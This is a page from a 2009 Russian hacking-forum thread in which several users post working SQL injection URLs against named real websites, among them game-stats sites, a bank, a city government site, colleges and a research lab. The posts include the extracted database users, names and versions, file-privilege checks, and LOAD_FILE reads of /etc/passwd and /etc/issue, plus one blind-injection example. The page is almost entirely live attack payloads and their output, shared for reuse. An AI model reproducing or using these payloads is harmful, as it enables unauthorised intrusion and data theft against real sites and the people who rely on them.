ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #8561  
Старый 26.03.2009, 11:52
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию

Все инъекции чекнутые моим Антибояном, после чего добавлены в его же базу.

Код:
http://q3.bpnet.ru/themes/bismarck/gamestat.php?gameID=121269546138015100+union+select+concat_ws(0x3a,user(),database(),version()),2/*&config=cfg-default.php
user() : database() : version()
root@localhost:vsp:4.1.22-log


Код:
http://q3.bpnet.ru/themes/bismarck/gamestat.php?gameID=-1+union+select+user,file_priv+from+mysql.user+/*&config=cfg-default.php
[/code]
file_priv = Y

Код:
http://q3.bpnet.ru/themes/bismarck/gamestat.php?gameID=-1+union+select+LOAD_FILE(0x2F6574632F706173737764),2+/*&config=cfg-default.php
/etc/passwd

Код:
http://q3.tupoleva.net/themes/bismarck/gamestat.php?gameID=-1+union+select+concat_ws(0x3a,user(),database(),version()),2&config=cfg-default.php
user() : database() : version()
vsp@localhost : vsp : 4.1.22


Код:
http://195.222.33.230/vsp/pub/themes/bismarck/gamestat.php?gameID=-1+union+select+concat_ws(0x3a,user(),database(),version()),2&config=cfg-default.php
user() : database() : version()
cod2_stats@localhost : vsp : 4.1.20-community-nt


Код:
http://partymanproductions.com/WolfStats/pub/themes/bismarck/gamestat.php?gameID=-1+union+select+concat_ws(0x3a,user(),database(),version()),2&config=cfg-default.php
user() : database() : version()
joatmon@localhost : joatmon_wolfstat : 5.0.37-standard


Код:
http://quake3.perm.ru/themes/bismarck/gamestat.php?gameID=-1+union+select+concat_ws(0x3a,user(),database(),version()),2&config=cfg-default.php
user() : database() : version()
quake3@localhost : quake3 : 5.0.32-Debian_7etch8-log


Код:
http://nlcgaming.aj-services.com/themes/bismarck/gamestat.php?gameID=-1+union+select+concat_ws(0x3a,user(),database(),version()),2&config=cfg-default.php
user() : database() : version()
apcyberax@localhost : nlcgaming : 5.0.45

file_priv=Y

Код:
http://nlcgaming.aj-services.com/themes/bismarck/gamestat.php?gameID=-1+union+select+LOAD_FILE(0x2F6574632F706173737764),2&config=cfg-default.php
/etc/passwd


Код:
http://www.cumberlandcollege.sk.ca/Slaterz/codstats/pub/themes/bismarck/gamestat.php?gameID=-1+union+select+concat_ws(0x3a,user(),database(),version()),2&config=cfg-default.php
user() : database() : version()
root@localhost : vsp : 5.0.27

Код:
http://www.cumberlandcollege.sk.ca/Slaterz/codstats/pub/themes/bismarck/gamestat.php?gameID=-1+union+select+user,file_priv+from+mysql.user&config=cfg-default.php
file_priv=Y

Код:
http://www.cumberlandcollege.sk.ca/Slaterz/codstats/pub/themes/bismarck/gamestat.php?gameID=-1+union+select+LOAD_FILE(0x2F6574632F706173737764),file_priv+from+mysql.user&config=cfg-default.php
/etc/passwd


Код:
http://railwhore.com/vsp/pub/themes/bismarck/gamestat.php?gameID=-1+union+select+concat_ws(0x3a,user(),database(),version()),2&config=cfg-default.php
user() : database() : version()
brianyo_grunge@216.157.132.2 : brianyo_vmstats : 4.0.2


Код:
http://www.slquake.com/pub/themes/bismarck/gamestat.php?gameID=-1+union+select+concat_ws(0x3a,user(),database(),version()),2&config=cfg-default.php
user() : database() : version()
dbo260613578@74.208.16.225:db260613578:4.0.27-max-


Код:
http://krautz.clanserver4u.de/vsp/pub/themes/bismarck/gamestat.php?gameID=-1+union+select+concat_ws(0x3a,user(),database(),version()),2&config=cfg-default.php
user() : database() : version()
db_59449_1@DE-FFM-WS-01.clanserver4u.de:ws_59449_1:5.0.51a-24-log


Код:
http://www.dailycod.com/vsp/cod2/pub/themes/bismarck/gamestat.php?gameID=-1+union+select+concat_ws(0x3a,user(),database(),version()),2&config=cfg-default.php
user() : database() : version()
vsp@localhost : vsp : 5.0.67-log


Код:
http://cybercubic.com/vsp/pub/themes/bismarck/gamestat.php?gameID=-1+union+select+concat_ws(0x3a,user(),database(),version()),2&config=cfg-default.php
user() : database() : version()
root@localhost : ccvsp : 5.0.27

Код:
http://cybercubic.com/vsp/pub/themes/bismarck/gamestat.php?gameID=-1+union+select+user,file_priv+from+mysql.user&config=cfg-default.php
file_priv=Y


Код:
http://cybercubic.com/vsp/pub/themes/bismarck/gamestat.php?gameID=-1+union+select+LOAD_FILE(0x2F6574632F706173737764),2&config=cfg-default.php
/etc/passwd


Код:
http://www.enolan.info/pub/themes/bismarck/gamestat.php?gameID=-1+union+select+concat_ws(0x3a,user(),database(),version()),2&config=cfg-default.php
user() : database() : version()
vsp_q3@biggs.dreamhost.com:q3db_3w:5.0.67-log

Последний раз редактировалось mailbrush; 26.03.2009 в 11:58..
 
Ответить с цитированием

  #8562  
Старый 26.03.2009, 14:15
$n@ke
Постоянный
Регистрация: 18.09.2006
Сообщений: 867
Провел на форуме:
2805813

Репутация: 1396


По умолчанию

ГАВ
Цитата:
http://www.murrayky.gov/showevent.htm?ID=9012001+union+select+1,2,version( ),user(),5,6,7,8,9,10,11,12,13,14,15/*
Version: 5.0.24
Username: citybusiness@localhost
Dbname: citybusiness
 
Ответить с цитированием

  #8563  
Старый 26.03.2009, 14:51
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944

Репутация: 1550


Отправить сообщение для Gorev с помощью ICQ Отправить сообщение для Gorev с помощью Yahoo
По умолчанию

http://www.maket.eu/products.php?product_id=-56+union+select+1,2,concat_ws(0x3a,version(),datab ase(),useR()),4,5,6,7,8,9,10,11,12&id=3&start=5


Database Version: 5.0.67-community
Database name: maketeu_maket
User name: maketeu_site@localhost
 
Ответить с цитированием

  #8564  
Старый 26.03.2009, 14:53
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию

Все инъекции чекнутые моим Антибояном, после чего добавлены в его же базу.

Код:
http://fpsgamer.jp/vsp/tourney2/themes/bismarck/gamestat.php?gameID=-1+union+select+concat_ws(0x3a,user(),database(),version()),2&config=cfg-default.php
bsan@localhost:vsp:5.0.32-Debian_7etch6-log

Код:
http://fpsgamer.jp/vsp/tourney2/themes/bismarck/gamestat.php?gameID=-1+union+select+LOAD_FILE(0x2F6574632F706173737764),2&config=cfg-default.php
/etc/passwd
file_priv=Y


Код:
http://www.fragginrockets.org/vsp/pub/themes/bismarck/gamestat.php?gameID=-1+union+select+concat_ws(0x3a,user(),database(),version()),2&config=cfg-default.php
oopsie_vsp@localhostopsie_vsp:5.0.45


Код:
http://stats.etbunker.com/vsp/pub/themes/bismarck/gamestat.php?gameID=-1+union+select+concat_ws(0x3a,user(),database(),version()),2&config=cfg-default.php
etbunker_forums@localhost:etbunker_vspstats:4.1.22-standard


Код:
http://cod.wck.biz/stats/pub/themes/bismarck/gamestat.php?gameID=-1+union+select+concat_ws(0x3a,user(),database(),version()),2&config=cfg-default.php
root@localhost:codstats2:5.0.32-Debian_7etch8-log

Код:
http://cod.wck.biz/stats/pub/themes/bismarck/gamestat.php?gameID=-1+union+select+LOAD_FILE(0x2F6574632F706173737764),2&config=cfg-default.php
/etc/passwd
file_priv=Y


Код:
http://www.teamnachtjager.net/vsp/pub/themes/bismarck/gamestat.php?gameID=-1+union+select+concat_ws(0x3a,user(),database(),version()),2&config=cfg-default.php
quake3@localhost:vsp_bq3:5.0.45


Код:
http://biohazard.moyse.net/vsp/pub/themes/bismarck/gamestat.php?gameID=-1+union+select+concat_ws(0x3a,user(),database(),version()),2&config=cfg-default.php
root@localhost:biohazard_stats:5.0.32-Debian_7etch8-log

Код:
http://biohazard.moyse.net/vsp/pub/themes/bismarck/gamestat.php?gameID=-1+union+select+LOAD_FILE(0x2F6574632F706173737764),2&config=cfg-default.php
/etc/passwd
file_priv=Y


Код:
http://q3stats.siberianet.ru/themes/bismarck/gamestat.php?gameID=-1+union+select+concat_ws(0x3a,user(),database(),version()),2&config=cfg-default.php
q3@89.105.136.130:q3:5.0.77-log


Код:
http://www.4fclan.com/VSP/pub/themes/bismarck/gamestat.php?gameID=-1+union+select+concat_ws(0x3a,user(),database(),version()),2&config=cfg-default.php
nruclan_svstats@localhost:nruclan_4Fstats:4.1.22-standard-log


Код:
http://www.awe-clan.com/vsp3/pub/themes/bismarck/gamestat.php?gameID=-1+union+select+concat_ws(0x3a,user(),database(),version()),2&config=cfg-default.php
aweclanc_neilemm@localhost:aweclanc_stats3:5.0.75-community-log


Код:
http://dmpstats.rko.nu/themes/bismarck/gamestat.php?gameID=-1+union+select+concat_ws(0x3a,user(),database(),version()),2&config=cfg-default.php
dmpstats@77.232.80.111:dmpstats:5.0.67

Код:
http://stats.s4ndmod.com/aoastats/themes/bismarck/gamestat.php?gameID=-1+union+select+concat_ws(0x3a,user(),database(),version()),2&config=cfg-default.php
headshotsniping@64.202.166.233:headshotsniping:4.0

Последний раз редактировалось mailbrush; 26.03.2009 в 15:03..
 
Ответить с цитированием

  #8565  
Старый 26.03.2009, 15:03
M.W.N.N.
Участник форума
Регистрация: 05.01.2009
Сообщений: 191
Провел на форуме:
3020589

Репутация: 240
По умолчанию

Код:
http://www.itoamerica.com/index.php?section=pdf&id=325+union+select+version(),2,3,4+limit+1,1/*
version():4.1.20
database():itoamerica
user():root@localhost
 
Ответить с цитированием

  #8566  
Старый 26.03.2009, 15:16
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944

Репутация: 1550


Отправить сообщение для Gorev с помощью ICQ Отправить сообщение для Gorev с помощью Yahoo
По умолчанию

http://www.priderentals-bg.com/priderentals/property_info.php?idproperty=-55+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,1 5,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31, 32,33,34,35,36,37,38,39,40,41,42,concat_ws(0x3a,ve rsion(),database(),user())



Database Version: 5.0.67-community
Database name: pridebg_pride
User name: pridebg_pridebg@localhost
 
Ответить с цитированием

  #8567  
Старый 26.03.2009, 15:24
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию

Все инъекции чекнутые моим (и вашем тоже) Антибояном, после чего добавлены в его же базу.

Код:
http://xinul.org/vsp/pub/themes/bismarck/gamestat.php?gameID=-1+union+select+concat_ws(0x3a,user(),database(),version()),2&config=cfg-default.php
vsp-stat@localhost:vspstat:5.0.32-Debian_7etch8-log

Код:
http://montekidlo.org.ua/stat/themes/bismarck/gamestat.php?gameID=-1+union+select+concat_ws(0x3a,user(),database(),version()),2&config=cfg-default.php
root@localhost:vsp:5.0.51a

Код:
http://montekidlo.org.ua/stat/themes/bismarck/gamestat.php?gameID=-1+union+select+LOAD_FILE(0x2F6574632F706173737764),2&config=cfg-default.php
/etc/passwd
file_priv=Y

Код:
http://www.etozclan.com/stats/pub/themes/bismarck/gamestat.php?gameID=-1+union+select+concat_ws(0x3a,user(),database(),version()),2&config=cfg-default.php
etozclan_stats@localhost:etozclan_vspstats:4.1.22-standard

Код:
http://games.zir.net/vsp/themes/bismarck/gamestat.php?gameID=-1+union+select+concat_ws(0x3a,user(),database(),version()),2&config=cfg-default.php
ethost1@localhost:ethost1_vsp

Код:
http://www.fsk-clan.de/stats1/pub/themes/bismarck/gamestat.php?gameID=-1+union+select+concat_ws(0x3a,user(),database(),version()),2&config=cfg-default.php
chris@localhost:vsp1:5.0.24a-Debian_9ubuntu2-log

Код:
http://www.fsk-clan.de/stats1/pub/themes/bismarck/gamestat.php?gameID=-1+union+select+LOAD_FILE(0x2F6574632F706173737764),2&config=cfg-default.php
/etc/passwd
file_priv=Y

Код:
http://www.3val.ru/games/cod2/pub/themes/bismarck/gamestat.php?gameID=-1+union+select+concat_ws(0x3a,user(),database(),version()),2&config=cfg-default.php
root@localhost:cod2stats:5.0.51b-community-nt-log
file_priv=N

Последний раз редактировалось mailbrush; 26.03.2009 в 15:30..
 
Ответить с цитированием

  #8568  
Старый 26.03.2009, 16:59
M.W.N.N.
Участник форума
Регистрация: 05.01.2009
Сообщений: 191
Провел на форуме:
3020589

Репутация: 240
По умолчанию

Код:
http://www.apsira.com/loans/bank.php?bankId=10+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14+limit+1,1
version():5.0.75-community-log
database():jadianor_ap
user():jadianor_apsira@localhost
__
Код:
http://www.guardian-bank.com/webinfo.php?main=11+union+select+1,2/*
version():5.0.45
database():guardiankdb
user():guardianb#@localhost
Код:
http://www.guardian-bank.com/webinfo.php?main=11+union+select+1,2+from+users/*
__
Код:
http://www.arch-no.org/News.php?mode=read&id=271+union+select+1,2,3,4,concat(version(),0x3a,database(),0x3a,user()),6,7+limit+1,1/*
version():5.0.22-Debian_0ubuntu6.06.11-log
database():archno
user():archno@localhost
__
Код:
http://www.icallsofts.com/productdetails.php?id=12+union+select+1,concat(version(),0x3a,database(),0x3a,user()),3,4,5,6,7,8/*
version():4.1.22-standard-log
database():ishgod_softwares
user():ishgod_softwares@66.40.52.25
__
Код:
http://www.ideas-bank.ru/trening.php?id=61+union+select+1,2,3,4,5,6,7,8,9,10,11+limit+1,1/*
__
Код:
http://www.7days.ae/storydetails.php?id=75189%27+union+select+1,concat(version(),0x3a,database(),0x3a,user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+limit+1,1/*
version(): 5.0.45
database():sevendaysdb
user():sevendaysdb@localhost
 
Ответить с цитированием

  #8569  
Старый 26.03.2009, 17:09
mijgan
Новичок
Регистрация: 25.03.2009
Сообщений: 1
Провел на форуме:
13201

Репутация: 11
По умолчанию

Blind SQL, ebscohost.com PR=9
!

http://www.ebscohost.com/customerSuccess/default.php?id=253+and+substring(@@version,1,1)=4 ===> False

http://www.ebscohost.com/customerSuccess/default.php?id=253+and+substring(@@version,1,1)=5 ===> True

не баян
 
Ответить с цитированием

  #8570  
Старый 26.03.2009, 17:11
spherics
Участник форума
Регистрация: 14.01.2008
Сообщений: 174
Провел на форуме:
800953

Репутация: 443
По умолчанию

Цитата:
http://www.ctl.mnscu.edu/events/cfp/RSPsessiondetail.php?id=98098765046+union+select+c oncat_ws(0x3a,version(),user(),database()),2,3,4,5 ,6,7,8,9,10,11,12--&confID=152


Database Version: 5.0.21
Database name: ctl_events
User name: ctl_RSP@hera.mnscu.edu


www.loria.fr PR - 7

Цитата:
http://intoweb.loria.fr/ProtosRecherche/IntoBib/AfficheDocument.php?Id=2809809700+union+select+con cat_ws(0x3a,version(),user(),database()),2--

Database Version: 4.0.14
Database name: WebStress
User name: root@raival.loria.fr


Читаем etc/passwd

Цитата:
http://intoweb.loria.fr/ProtosRecherche/IntoBib/AfficheDocument.php?Id=2809809700+UNION+SELECT+CON CAT(0x3a,LOAD_FILE(0x2F6574632F706173737764),0x3a) ,2--


Читаем /etc/issue

Цитата:
http://intoweb.loria.fr/ProtosRecherche/IntoBib/AfficheDocument.php?Id=2809809700+UNION+SELECT+CON CAT(0x3a,LOAD_FILE(0x2F6574632F6973737565),0x3a),2--

Mandrakelinux release 10.2 (Limited Edition 2005) for i586
Kernel 2.6.11-6mdk on an i686
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
SQL инъекция и Oracle, часть 2 k00p3r Чужие Статьи 0 13.06.2005 11:24
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 3 (пользователей: 0 , гостей: 3)
 


Быстрый переход




ANTICHAT.XYZ